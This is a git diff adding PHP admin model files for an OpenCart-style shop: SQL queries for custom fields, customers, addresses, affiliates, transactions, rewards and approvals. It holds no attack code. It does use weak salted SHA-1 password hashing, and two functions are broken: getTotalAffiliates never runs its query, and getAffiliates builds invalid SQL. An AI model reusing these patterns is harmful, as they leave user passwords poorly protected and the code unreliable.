+ $this->db->query("INSERT INTO " . DB_PREFIX . "custom_field_value_description SET custom_field_value_id = '" . (int)$custom_field_value_id . "', language_id = '" . (int)$language_id . "', custom_field_id = '" . (int)$custom_field_id . "', name = '" . $this->db->escape($custom_field_value_description['name']) . "'");
+ }
+ }
+ }
+ }
+
+ public function deleteCustomField($custom_field_id) {
+ $this->db->query("DELETE FROM `" . DB_PREFIX . "custom_field` WHERE custom_field_id = '" . (int)$custom_field_id . "'");
+ $this->db->query("DELETE FROM `" . DB_PREFIX . "custom_field_description` WHERE custom_field_id = '" . (int)$custom_field_id . "'");
+ $this->db->query("DELETE FROM `" . DB_PREFIX . "custom_field_customer_group` WHERE custom_field_id = '" . (int)$custom_field_id . "'");
+ $this->db->query("DELETE FROM `" . DB_PREFIX . "custom_field_value` WHERE custom_field_id = '" . (int)$custom_field_id . "'");
+ $this->db->query("DELETE FROM `" . DB_PREFIX . "custom_field_value_description` WHERE custom_field_id = '" . (int)$custom_field_id . "'");
+ }
+
+ public function getCustomField($custom_field_id) {
+ $query = $this->db->query("SELECT * FROM `" . DB_PREFIX . "custom_field` cf LEFT JOIN " . DB_PREFIX . "custom_field_description cfd ON (cf.custom_field_id = cfd.custom_field_id) WHERE cf.custom_field_id = '" . (int)$custom_field_id . "' AND cfd.language_id = '" . (int)$this->config->get('config_language_id') . "'");
+
+ return $query->row;
+ }
+
+ public function getCustomFields($data = array()) {
+ if (empty($data['filter_customer_group_id'])) {
+ $sql = "SELECT * FROM `" . DB_PREFIX . "custom_field` cf LEFT JOIN " . DB_PREFIX . "custom_field_description cfd ON (cf.custom_field_id = cfd.custom_field_id) WHERE cfd.language_id = '" . (int)$this->config->get('config_language_id') . "'";
+ } else {
+ $sql = "SELECT * FROM " . DB_PREFIX . "custom_field_customer_group cfcg LEFT JOIN `" . DB_PREFIX . "custom_field` cf ON (cfcg.custom_field_id = cf.custom_field_id) LEFT JOIN " . DB_PREFIX . "custom_field_description cfd ON (cf.custom_field_id = cfd.custom_field_id) WHERE cfd.language_id = '" . (int)$this->config->get('config_language_id') . "'";
+ }
+
+ if (!empty($data['filter_name'])) {
+ $sql .= " AND cfd.name LIKE '" . $this->db->escape($data['filter_name']) . "%'";
+ }
+
+ if (!empty($data['filter_customer_group_id'])) {
+ $sql .= " AND cfcg.customer_group_id = '" . (int)$data['filter_customer_group_id'] . "'";
+ }
+
+ $sort_data = array(
+ 'cfd.name',
+ 'cf.type',
+ 'cf.location',
+ 'cf.status',
+ 'cf.sort_order'
+ );
+
+ if (isset($data['sort']) && in_array($data['sort'], $sort_data)) {
+ $sql .= " ORDER BY " . $data['sort'];
+ } else {
+ $sql .= " ORDER BY cfd.name";
+ }
+
+ if (isset($data['order']) && ($data['order'] == 'DESC')) {
+ $sql .= " DESC";
+ } else {
+ $sql .= " ASC";
+ }
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ }
+
+ public function getCustomFieldDescriptions($custom_field_id) {
+ $custom_field_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "custom_field_description WHERE custom_field_id = '" . (int)$custom_field_id . "'");
+
+ foreach ($query->rows as $result) {
+ $custom_field_data[$result['language_id']] = array('name' => $result['name']);
+ }
+
+ return $custom_field_data;
+ }
+
+ public function getCustomFieldValue($custom_field_value_id) {
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "custom_field_value cfv LEFT JOIN " . DB_PREFIX . "custom_field_value_description cfvd ON (cfv.custom_field_value_id = cfvd.custom_field_value_id) WHERE cfv.custom_field_value_id = '" . (int)$custom_field_value_id . "' AND cfvd.language_id = '" . (int)$this->config->get('config_language_id') . "'");
+
+ return $query->row;
+ }
+
+ public function getCustomFieldValues($custom_field_id) {
+ $custom_field_value_data = array();
+
+ $custom_field_value_query = $this->db->query("SELECT * FROM " . DB_PREFIX . "custom_field_value cfv LEFT JOIN " . DB_PREFIX . "custom_field_value_description cfvd ON (cfv.custom_field_value_id = cfvd.custom_field_value_id) WHERE cfv.custom_field_id = '" . (int)$custom_field_id . "' AND cfvd.language_id = '" . (int)$this->config->get('config_language_id') . "' ORDER BY cfv.sort_order ASC");
+
+ foreach ($custom_field_value_query->rows as $custom_field_value) {
+ $custom_field_value_data[$custom_field_value['custom_field_value_id']] = array(
+ 'custom_field_value_id' => $custom_field_value['custom_field_value_id'],
+ 'name' => $custom_field_value['name']
+ );
+ }
+
+ return $custom_field_value_data;
+ }
+
+ public function getCustomFieldCustomerGroups($custom_field_id) {
+ $query = $this->db->query("SELECT * FROM `" . DB_PREFIX . "custom_field_customer_group` WHERE custom_field_id = '" . (int)$custom_field_id . "'");
+
+ return $query->rows;
+ }
+
+ public function getCustomFieldValueDescriptions($custom_field_id) {
+ $custom_field_value_data = array();
+
+ $custom_field_value_query = $this->db->query("SELECT * FROM " . DB_PREFIX . "custom_field_value WHERE custom_field_id = '" . (int)$custom_field_id . "'");
+
+ foreach ($custom_field_value_query->rows as $custom_field_value) {
+ $custom_field_value_description_data = array();
+
+ $custom_field_value_description_query = $this->db->query("SELECT * FROM " . DB_PREFIX . "custom_field_value_description WHERE custom_field_value_id = '" . (int)$custom_field_value['custom_field_value_id'] . "'");
+
+ foreach ($custom_field_value_description_query->rows as $custom_field_value_description) {
+ $custom_field_value_description_data[$custom_field_value_description['language_id']] = array('name' => $custom_field_value_description['name']);
+ }
+
+ $custom_field_value_data[] = array(
+ 'custom_field_value_id' => $custom_field_value['custom_field_value_id'],
+ 'custom_field_value_description' => $custom_field_value_description_data,
+ 'sort_order' => $custom_field_value['sort_order']
+ );
+ }
+
+ return $custom_field_value_data;
+ }
+
+ public function getTotalCustomFields() {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM `" . DB_PREFIX . "custom_field`");
+
+ return $query->row['total'];
+ }
+}
\ No newline at end of file
diff --git a/public/admin/model/customer/customer.php b/public/admin/model/customer/customer.php
new file mode 100644
index 0000000..826648a
--- /dev/null
+++ b/public/admin/model/customer/customer.php
@@ -0,0 +1,487 @@
+db->query("INSERT INTO " . DB_PREFIX . "customer SET customer_group_id = '" . (int)$data['customer_group_id'] . "', firstname = '" . $this->db->escape($data['firstname']) . "', lastname = '" . $this->db->escape($data['lastname']) . "', email = '" . $this->db->escape($data['email']) . "', telephone = '" . $this->db->escape($data['telephone']) . "', custom_field = '" . $this->db->escape(isset($data['custom_field']) ? json_encode($data['custom_field']) : json_encode(array())) . "', newsletter = '" . (int)$data['newsletter'] . "', salt = '" . $this->db->escape($salt = token(9)) . "', password = '" . $this->db->escape(sha1($salt . sha1($salt . sha1($data['password'])))) . "', status = '" . (int)$data['status'] . "', safe = '" . (int)$data['safe'] . "', date_added = NOW()");
+
+ $customer_id = $this->db->getLastId();
+
+ if (isset($data['address'])) {
+ foreach ($data['address'] as $address) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "address SET customer_id = '" . (int)$customer_id . "', firstname = '" . $this->db->escape($address['firstname']) . "', lastname = '" . $this->db->escape($address['lastname']) . "', company = '" . $this->db->escape($address['company']) . "', address_1 = '" . $this->db->escape($address['address_1']) . "', address_2 = '" . $this->db->escape($address['address_2']) . "', city = '" . $this->db->escape($address['city']) . "', postcode = '" . $this->db->escape($address['postcode']) . "', country_id = '" . (int)$address['country_id'] . "', zone_id = '" . (int)$address['zone_id'] . "', custom_field = '" . $this->db->escape(isset($address['custom_field']) ? json_encode($address['custom_field']) : json_encode(array())) . "'");
+
+ if (isset($address['default'])) {
+ $address_id = $this->db->getLastId();
+
+ $this->db->query("UPDATE " . DB_PREFIX . "customer SET address_id = '" . (int)$address_id . "' WHERE customer_id = '" . (int)$customer_id . "'");
+ }
+ }
+ }
+
+ if ($data['affiliate']) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "customer_affiliate SET customer_id = '" . (int)$customer_id . "', company = '" . $this->db->escape($data['company']) . "', website = '" . $this->db->escape($data['website']) . "', tracking = '" . $this->db->escape($data['tracking']) . "', commission = '" . (float)$data['commission'] . "', tax = '" . $this->db->escape($data['tax']) . "', payment = '" . $this->db->escape($data['payment']) . "', cheque = '" . $this->db->escape($data['cheque']) . "', paypal = '" . $this->db->escape($data['paypal']) . "', bank_name = '" . $this->db->escape($data['bank_name']) . "', bank_branch_number = '" . $this->db->escape($data['bank_branch_number']) . "', bank_swift_code = '" . $this->db->escape($data['bank_swift_code']) . "', bank_account_name = '" . $this->db->escape($data['bank_account_name']) . "', bank_account_number = '" . $this->db->escape($data['bank_account_number']) . "', custom_field = '" . $this->db->escape(isset($data['custom_field']) ? json_encode($data['custom_field']) : json_encode(array())) . "', status = '" . (int)$data['affiliate'] . "', date_added = NOW()");
+ }
+
+ return $customer_id;
+ }
+
+ public function editCustomer($customer_id, $data) {
+ $this->db->query("UPDATE " . DB_PREFIX . "customer SET customer_group_id = '" . (int)$data['customer_group_id'] . "', firstname = '" . $this->db->escape($data['firstname']) . "', lastname = '" . $this->db->escape($data['lastname']) . "', email = '" . $this->db->escape($data['email']) . "', telephone = '" . $this->db->escape($data['telephone']) . "', custom_field = '" . $this->db->escape(isset($data['custom_field']) ? json_encode($data['custom_field']) : json_encode(array())) . "', newsletter = '" . (int)$data['newsletter'] . "', status = '" . (int)$data['status'] . "', safe = '" . (int)$data['safe'] . "' WHERE customer_id = '" . (int)$customer_id . "'");
+
+ if ($data['password']) {
+ $this->db->query("UPDATE " . DB_PREFIX . "customer SET salt = '" . $this->db->escape($salt = token(9)) . "', password = '" . $this->db->escape(sha1($salt . sha1($salt . sha1($data['password'])))) . "' WHERE customer_id = '" . (int)$customer_id . "'");
+ }
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "address WHERE customer_id = '" . (int)$customer_id . "'");
+
+ if (isset($data['address'])) {
+ foreach ($data['address'] as $address) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "address SET address_id = '" . (int)$address['address_id'] . "', customer_id = '" . (int)$customer_id . "', firstname = '" . $this->db->escape($address['firstname']) . "', lastname = '" . $this->db->escape($address['lastname']) . "', company = '" . $this->db->escape($address['company']) . "', address_1 = '" . $this->db->escape($address['address_1']) . "', address_2 = '" . $this->db->escape($address['address_2']) . "', city = '" . $this->db->escape($address['city']) . "', postcode = '" . $this->db->escape($address['postcode']) . "', country_id = '" . (int)$address['country_id'] . "', zone_id = '" . (int)$address['zone_id'] . "', custom_field = '" . $this->db->escape(isset($address['custom_field']) ? json_encode($address['custom_field']) : json_encode(array())) . "'");
+
+ if (isset($address['default'])) {
+ $address_id = $this->db->getLastId();
+
+ $this->db->query("UPDATE " . DB_PREFIX . "customer SET address_id = '" . (int)$address_id . "' WHERE customer_id = '" . (int)$customer_id . "'");
+ }
+ }
+ }
+
+ if ($data['affiliate']) {
+ $this->db->query("REPLACE INTO " . DB_PREFIX . "customer_affiliate SET customer_id = '" . (int)$customer_id . "', company = '" . $this->db->escape($data['company']) . "', website = '" . $this->db->escape($data['website']) . "', tracking = '" . $this->db->escape($data['tracking']) . "', commission = '" . (float)$data['commission'] . "', tax = '" . $this->db->escape($data['tax']) . "', payment = '" . $this->db->escape($data['payment']) . "', cheque = '" . $this->db->escape($data['cheque']) . "', paypal = '" . $this->db->escape($data['paypal']) . "', bank_name = '" . $this->db->escape($data['bank_name']) . "', bank_branch_number = '" . $this->db->escape($data['bank_branch_number']) . "', bank_swift_code = '" . $this->db->escape($data['bank_swift_code']) . "', bank_account_name = '" . $this->db->escape($data['bank_account_name']) . "', bank_account_number = '" . $this->db->escape($data['bank_account_number']) . "', status = '" . (int)$data['affiliate'] . "', date_added = NOW()");
+ }
+ }
+
+ public function editToken($customer_id, $token) {
+ $this->db->query("UPDATE " . DB_PREFIX . "customer SET token = '" . $this->db->escape($token) . "' WHERE customer_id = '" . (int)$customer_id . "'");
+ }
+
+ public function deleteCustomer($customer_id) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "customer WHERE customer_id = '" . (int)$customer_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "customer_activity WHERE customer_id = '" . (int)$customer_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "customer_affiliate WHERE customer_id = '" . (int)$customer_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "customer_approval WHERE customer_id = '" . (int)$customer_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "customer_history WHERE customer_id = '" . (int)$customer_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "customer_reward WHERE customer_id = '" . (int)$customer_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "customer_transaction WHERE customer_id = '" . (int)$customer_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "customer_ip WHERE customer_id = '" . (int)$customer_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "address WHERE customer_id = '" . (int)$customer_id . "'");
+ }
+
+ public function getCustomer($customer_id) {
+ $query = $this->db->query("SELECT DISTINCT * FROM " . DB_PREFIX . "customer WHERE customer_id = '" . (int)$customer_id . "'");
+
+ return $query->row;
+ }
+
+ public function getCustomerByEmail($email) {
+ $query = $this->db->query("SELECT DISTINCT * FROM " . DB_PREFIX . "customer WHERE LCASE(email) = '" . $this->db->escape(utf8_strtolower($email)) . "'");
+
+ return $query->row;
+ }
+
+ public function getCustomers($data = array()) {
+ $sql = "SELECT *, CONCAT(c.firstname, ' ', c.lastname) AS name, cgd.name AS customer_group FROM " . DB_PREFIX . "customer c LEFT JOIN " . DB_PREFIX . "customer_group_description cgd ON (c.customer_group_id = cgd.customer_group_id)";
+
+ if (!empty($data['filter_affiliate'])) {
+ $sql .= " LEFT JOIN " . DB_PREFIX . "customer_affiliate ca ON (c.customer_id = ca.customer_id)";
+ }
+
+ $sql .= " WHERE cgd.language_id = '" . (int)$this->config->get('config_language_id') . "'";
+
+ $implode = array();
+
+ if (!empty($data['filter_name'])) {
+ $implode[] = "CONCAT(c.firstname, ' ', c.lastname) LIKE '%" . $this->db->escape($data['filter_name']) . "%'";
+ }
+
+ if (!empty($data['filter_email'])) {
+ $implode[] = "c.email LIKE '" . $this->db->escape($data['filter_email']) . "%'";
+ }
+
+ if (isset($data['filter_newsletter']) && !is_null($data['filter_newsletter'])) {
+ $implode[] = "c.newsletter = '" . (int)$data['filter_newsletter'] . "'";
+ }
+
+ if (!empty($data['filter_customer_group_id'])) {
+ $implode[] = "c.customer_group_id = '" . (int)$data['filter_customer_group_id'] . "'";
+ }
+
+ if (!empty($data['filter_affiliate'])) {
+ $implode[] = "ca.status = '" . (int)$data['filter_affiliate'] . "'";
+ }
+
+ if (!empty($data['filter_ip'])) {
+ $implode[] = "c.customer_id IN (SELECT customer_id FROM " . DB_PREFIX . "customer_ip WHERE ip = '" . $this->db->escape($data['filter_ip']) . "')";
+ }
+
+ if (isset($data['filter_status']) && $data['filter_status'] !== '') {
+ $implode[] = "c.status = '" . (int)$data['filter_status'] . "'";
+ }
+
+ if (!empty($data['filter_date_added'])) {
+ $implode[] = "DATE(c.date_added) = DATE('" . $this->db->escape($data['filter_date_added']) . "')";
+ }
+
+ if ($implode) {
+ $sql .= " AND " . implode(" AND ", $implode);
+ }
+
+ $sort_data = array(
+ 'name',
+ 'c.email',
+ 'customer_group',
+ 'c.status',
+ 'c.ip',
+ 'c.date_added'
+ );
+
+ if (isset($data['sort']) && in_array($data['sort'], $sort_data)) {
+ $sql .= " ORDER BY " . $data['sort'];
+ } else {
+ $sql .= " ORDER BY name";
+ }
+
+ if (isset($data['order']) && ($data['order'] == 'DESC')) {
+ $sql .= " DESC";
+ } else {
+ $sql .= " ASC";
+ }
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ }
+
+ public function getAddress($address_id) {
+ $address_query = $this->db->query("SELECT * FROM " . DB_PREFIX . "address WHERE address_id = '" . (int)$address_id . "'");
+
+ if ($address_query->num_rows) {
+ $country_query = $this->db->query("SELECT * FROM `" . DB_PREFIX . "country` WHERE country_id = '" . (int)$address_query->row['country_id'] . "'");
+
+ if ($country_query->num_rows) {
+ $country = $country_query->row['name'];
+ $iso_code_2 = $country_query->row['iso_code_2'];
+ $iso_code_3 = $country_query->row['iso_code_3'];
+ $address_format = $country_query->row['address_format'];
+ } else {
+ $country = '';
+ $iso_code_2 = '';
+ $iso_code_3 = '';
+ $address_format = '';
+ }
+
+ $zone_query = $this->db->query("SELECT * FROM `" . DB_PREFIX . "zone` WHERE zone_id = '" . (int)$address_query->row['zone_id'] . "'");
+
+ if ($zone_query->num_rows) {
+ $zone = $zone_query->row['name'];
+ $zone_code = $zone_query->row['code'];
+ } else {
+ $zone = '';
+ $zone_code = '';
+ }
+
+ return array(
+ 'address_id' => $address_query->row['address_id'],
+ 'customer_id' => $address_query->row['customer_id'],
+ 'firstname' => $address_query->row['firstname'],
+ 'lastname' => $address_query->row['lastname'],
+ 'company' => $address_query->row['company'],
+ 'address_1' => $address_query->row['address_1'],
+ 'address_2' => $address_query->row['address_2'],
+ 'postcode' => $address_query->row['postcode'],
+ 'city' => $address_query->row['city'],
+ 'zone_id' => $address_query->row['zone_id'],
+ 'zone' => $zone,
+ 'zone_code' => $zone_code,
+ 'country_id' => $address_query->row['country_id'],
+ 'country' => $country,
+ 'iso_code_2' => $iso_code_2,
+ 'iso_code_3' => $iso_code_3,
+ 'address_format' => $address_format,
+ 'custom_field' => json_decode($address_query->row['custom_field'], true)
+ );
+ }
+ }
+
+ public function getAddresses($customer_id) {
+ $address_data = array();
+
+ $query = $this->db->query("SELECT address_id FROM " . DB_PREFIX . "address WHERE customer_id = '" . (int)$customer_id . "'");
+
+ foreach ($query->rows as $result) {
+ $address_info = $this->getAddress($result['address_id']);
+
+ if ($address_info) {
+ $address_data[$result['address_id']] = $address_info;
+ }
+ }
+
+ return $address_data;
+ }
+
+ public function getTotalCustomers($data = array()) {
+ $sql = "SELECT COUNT(*) AS total FROM " . DB_PREFIX . "customer c";
+
+ $implode = array();
+
+ if (!empty($data['filter_name'])) {
+ $implode[] = "CONCAT(firstname, ' ', lastname) LIKE '%" . $this->db->escape($data['filter_name']) . "%'";
+ }
+
+ if (!empty($data['filter_email'])) {
+ $implode[] = "email LIKE '" . $this->db->escape($data['filter_email']) . "%'";
+ }
+
+ if (isset($data['filter_newsletter']) && !is_null($data['filter_newsletter'])) {
+ $implode[] = "newsletter = '" . (int)$data['filter_newsletter'] . "'";
+ }
+
+ if (!empty($data['filter_customer_group_id'])) {
+ $implode[] = "customer_group_id = '" . (int)$data['filter_customer_group_id'] . "'";
+ }
+
+ if (!empty($data['filter_ip'])) {
+ $implode[] = "customer_id IN (SELECT customer_id FROM " . DB_PREFIX . "customer_ip WHERE ip = '" . $this->db->escape($data['filter_ip']) . "')";
+ }
+
+ if (isset($data['filter_status']) && $data['filter_status'] !== '') {
+ $implode[] = "status = '" . (int)$data['filter_status'] . "'";
+ }
+
+ if (!empty($data['filter_date_added'])) {
+ $implode[] = "DATE(date_added) = DATE('" . $this->db->escape($data['filter_date_added']) . "')";
+ }
+
+ if ($implode) {
+ $sql .= " WHERE " . implode(" AND ", $implode);
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->row['total'];
+ }
+
+ public function getAffliateByTracking($tracking) {
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "customer_affiliate WHERE tracking = '" . $this->db->escape($tracking) . "'");
+
+ return $query->row;
+ }
+
+ public function getAffiliate($customer_id) {
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "customer_affiliate WHERE customer_id = '" . (int)$customer_id . "'");
+
+ return $query->row;
+ }
+
+ public function getAffiliates($data = array()) {
+ $sql = "SELECT DISTINCT *, CONCAT(c.firstname, ' ', c.lastname) AS name FROM " . DB_PREFIX . "customer_affiliate ca LEFT JOIN " . DB_PREFIX . "customer c ON (ca.customer_id = c.customer_id)";
+
+ $implode = array();
+
+ if (!empty($data['filter_name'])) {
+ $implode[] = "CONCAT(c.firstname, ' ', c.lastname) LIKE '%" . $this->db->escape($data['filter_name']) . "%'";
+ }
+
+ if ($implode) {
+ $sql .= " WHERE " . implode(" AND ", $implode);
+ }
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql . "ORDER BY name");
+
+ return $query->rows;
+ }
+
+ public function getTotalAffiliates($data = array()) {
+ $sql = "SELECT DISTINCT COUNT(*) AS total FROM " . DB_PREFIX . "customer_affiliate ca LEFT JOIN " . DB_PREFIX . "customer c ON (ca.customer_id = c.customer_id)";
+
+ $implode = array();
+
+ if (!empty($data['filter_name'])) {
+ $implode[] = "CONCAT(c.firstname, ' ', c.lastname) LIKE '%" . $this->db->escape($data['filter_name']) . "%'";
+ }
+
+ if ($implode) {
+ $sql .= " WHERE " . implode(" AND ", $implode);
+ }
+
+ return $query->row['total'];
+ }
+
+ public function getTotalAddressesByCustomerId($customer_id) {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "address WHERE customer_id = '" . (int)$customer_id . "'");
+
+ return $query->row['total'];
+ }
+
+ public function getTotalAddressesByCountryId($country_id) {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "address WHERE country_id = '" . (int)$country_id . "'");
+
+ return $query->row['total'];
+ }
+
+ public function getTotalAddressesByZoneId($zone_id) {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "address WHERE zone_id = '" . (int)$zone_id . "'");
+
+ return $query->row['total'];
+ }
+
+ public function getTotalCustomersByCustomerGroupId($customer_group_id) {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "customer WHERE customer_group_id = '" . (int)$customer_group_id . "'");
+
+ return $query->row['total'];
+ }
+
+ public function addHistory($customer_id, $comment) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "customer_history SET customer_id = '" . (int)$customer_id . "', comment = '" . $this->db->escape(strip_tags($comment)) . "', date_added = NOW()");
+ }
+
+ public function getHistories($customer_id, $start = 0, $limit = 10) {
+ if ($start < 0) {
+ $start = 0;
+ }
+
+ if ($limit < 1) {
+ $limit = 10;
+ }
+
+ $query = $this->db->query("SELECT comment, date_added FROM " . DB_PREFIX . "customer_history WHERE customer_id = '" . (int)$customer_id . "' ORDER BY date_added DESC LIMIT " . (int)$start . "," . (int)$limit);
+
+ return $query->rows;
+ }
+
+ public function getTotalHistories($customer_id) {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "customer_history WHERE customer_id = '" . (int)$customer_id . "'");
+
+ return $query->row['total'];
+ }
+
+ public function addTransaction($customer_id, $description = '', $amount = '', $order_id = 0) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "customer_transaction SET customer_id = '" . (int)$customer_id . "', order_id = '" . (int)$order_id . "', description = '" . $this->db->escape($description) . "', amount = '" . (float)$amount . "', date_added = NOW()");
+ }
+
+ public function deleteTransactionByOrderId($order_id) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "customer_transaction WHERE order_id = '" . (int)$order_id . "'");
+ }
+
+ public function getTransactions($customer_id, $start = 0, $limit = 10) {
+ if ($start < 0) {
+ $start = 0;
+ }
+
+ if ($limit < 1) {
+ $limit = 10;
+ }
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "customer_transaction WHERE customer_id = '" . (int)$customer_id . "' ORDER BY date_added DESC LIMIT " . (int)$start . "," . (int)$limit);
+
+ return $query->rows;
+ }
+
+ public function getTotalTransactions($customer_id) {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "customer_transaction WHERE customer_id = '" . (int)$customer_id . "'");
+
+ return $query->row['total'];
+ }
+
+ public function getTransactionTotal($customer_id) {
+ $query = $this->db->query("SELECT SUM(amount) AS total FROM " . DB_PREFIX . "customer_transaction WHERE customer_id = '" . (int)$customer_id . "'");
+
+ return $query->row['total'];
+ }
+
+ public function getTotalTransactionsByOrderId($order_id) {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "customer_transaction WHERE order_id = '" . (int)$order_id . "'");
+
+ return $query->row['total'];
+ }
+
+ public function addReward($customer_id, $description = '', $points = '', $order_id = 0) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "customer_reward SET customer_id = '" . (int)$customer_id . "', order_id = '" . (int)$order_id . "', points = '" . (int)$points . "', description = '" . $this->db->escape($description) . "', date_added = NOW()");
+ }
+
+ public function deleteReward($order_id) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "customer_reward WHERE order_id = '" . (int)$order_id . "' AND points > 0");
+ }
+
+ public function getRewards($customer_id, $start = 0, $limit = 10) {
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "customer_reward WHERE customer_id = '" . (int)$customer_id . "' ORDER BY date_added DESC LIMIT " . (int)$start . "," . (int)$limit);
+
+ return $query->rows;
+ }
+
+ public function getTotalRewards($customer_id) {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "customer_reward WHERE customer_id = '" . (int)$customer_id . "'");
+
+ return $query->row['total'];
+ }
+
+ public function getRewardTotal($customer_id) {
+ $query = $this->db->query("SELECT SUM(points) AS total FROM " . DB_PREFIX . "customer_reward WHERE customer_id = '" . (int)$customer_id . "'");
+
+ return $query->row['total'];
+ }
+
+ public function getTotalCustomerRewardsByOrderId($order_id) {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "customer_reward WHERE order_id = '" . (int)$order_id . "' AND points > 0");
+
+ return $query->row['total'];
+ }
+
+ public function getIps($customer_id, $start = 0, $limit = 10) {
+ if ($start < 0) {
+ $start = 0;
+ }
+ if ($limit < 1) {
+ $limit = 10;
+ }
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "customer_ip WHERE customer_id = '" . (int)$customer_id . "' ORDER BY date_added DESC LIMIT " . (int)$start . "," . (int)$limit);
+
+ return $query->rows;
+ }
+
+ public function getTotalIps($customer_id) {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "customer_ip WHERE customer_id = '" . (int)$customer_id . "'");
+
+ return $query->row['total'];
+ }
+
+ public function getTotalCustomersByIp($ip) {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "customer_ip WHERE ip = '" . $this->db->escape($ip) . "'");
+
+ return $query->row['total'];
+ }
+
+ public function getTotalLoginAttempts($email) {
+ $query = $this->db->query("SELECT * FROM `" . DB_PREFIX . "customer_login` WHERE `email` = '" . $this->db->escape($email) . "'");
+
+ return $query->row;
+ }
+
+ public function deleteLoginAttempts($email) {
+ $this->db->query("DELETE FROM `" . DB_PREFIX . "customer_login` WHERE `email` = '" . $this->db->escape($email) . "'");
+ }
+}
diff --git a/public/admin/model/customer/customer_approval.php b/public/admin/model/customer/customer_approval.php
new file mode 100644
index 0000000..f75a3c7
--- /dev/null
+++ b/public/admin/model/customer/customer_approval.php
@@ -0,0 +1,102 @@
+config->get('config_language_id') . "'";
+
+ if (!empty($data['filter_name'])) {
+ $sql .= " AND CONCAT(c.`firstname`, ' ', c.`lastname`) LIKE '%" . $this->db->escape($data['filter_name']) . "%'";
+ }
+
+ if (!empty($data['filter_email'])) {
+ $sql .= " AND c.`email` LIKE '" . $this->db->escape($data['filter_email']) . "%'";
+ }
+
+ if (!empty($data['filter_customer_group_id'])) {
+ $sql .= " AND c.`customer_group_id` = '" . (int)$data['filter_customer_group_id'] . "'";
+ }
+
+ if (!empty($data['filter_type'])) {
+ $sql .= " AND ca.`type` = '" . $this->db->escape($data['filter_type']) . "'";
+ }
+
+ if (!empty($data['filter_date_added'])) {
+ $sql .= " AND DATE(c.`date_added`) = DATE('" . $this->db->escape($data['filter_date_added']) . "')";
+ }
+
+ $sql .= " ORDER BY c.`date_added` DESC";
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ }
+
+ public function getCustomerApproval($customer_approval_id) {
+ $query = $this->db->query("SELECT * FROM `" . DB_PREFIX . "customer_approval` WHERE `customer_approval_id` = '" . (int)$customer_approval_id . "'");
+
+ return $query->row;
+ }
+
+ public function getTotalCustomerApprovals($data = array()) {
+ $sql = "SELECT COUNT(*) AS total FROM `" . DB_PREFIX . "customer_approval` ca LEFT JOIN `" . DB_PREFIX . "customer` c ON (ca.`customer_id` = c.`customer_id`)";
+
+ $implode = array();
+
+ if (!empty($data['filter_name'])) {
+ $implode[] = "CONCAT(c.`firstname`, ' ', c.`lastname`) LIKE '%" . $this->db->escape($data['filter_name']) . "%'";
+ }
+
+ if (!empty($data['filter_email'])) {
+ $implode[] = "c.`email` LIKE '" . $this->db->escape($data['filter_email']) . "%'";
+ }
+
